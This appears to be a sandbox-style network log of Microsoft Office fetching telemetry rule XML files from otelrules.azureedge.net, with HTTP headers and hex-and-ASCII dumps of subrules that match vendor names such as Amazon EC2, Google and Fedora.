2024-11-01 04:53:07 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:07 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:07 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: fa89f893-901e-00ac-46b8-2ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045307Z-17c5cb586f62r5w7ux5vntfxrc00000000zg000000000zkz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:07 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:07 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:08 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:08 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 395fbb66-201e-003f-4179-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045308Z-16849878b78xblwksrnkakc08w00000009ug0000000079d7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:08 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:08 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:08 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:08 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: f296e79a-801e-008c-04d4-297130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045308Z-17c5cb586f69p7mmw593w958p400000001x00000000043r8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:08 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:08 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:08 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:08 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 174f78f2-a01e-0032-607a-281949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045308Z-15b8d89586f6nn8zqg1h5suba800000005t0000000006zrm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:08 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:08 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:08 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:08 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7c52a88a-f01e-00aa-0993-2a8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045308Z-159b85dff8fx9jp8hC1DFWp25400000002m00000000050zq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:08 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:08 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:08 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:08 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 39d89106-201e-003f-20a3-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045308Z-16849878b78qwx7pmw9x5fub1c00000008k000000000q190 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:08 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:08 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:09 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:08 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a1cd263b-b01e-0070-5f2a-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045308Z-16849878b785dznd7xpawq9gcn0000000byg000000008zqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:09 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:09 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:09 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:09 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 5926a802-601e-0032-207f-2aeebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045309Z-16849878b78zqkvcwgr6h55x9n00000009z000000000d08v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:09 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:09 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:09 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:09 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9f4f074d-601e-00ab-77c7-2a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045309Z-159b85dff8fc5h75hC1DFWntr800000001zg00000000d51z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:09 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:09 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:09 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:09 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: d0d63b60-601e-0050-7d63-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045309Z-17c5cb586f62bgw58esgbu9hgw000000037000000000anxy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:09 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:09 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:09 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: efaca471-901e-002a-6713-287a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045309Z-17c5cb586f6jwd8h9y40tqxu5w00000001kg00000000cnrc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:09 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
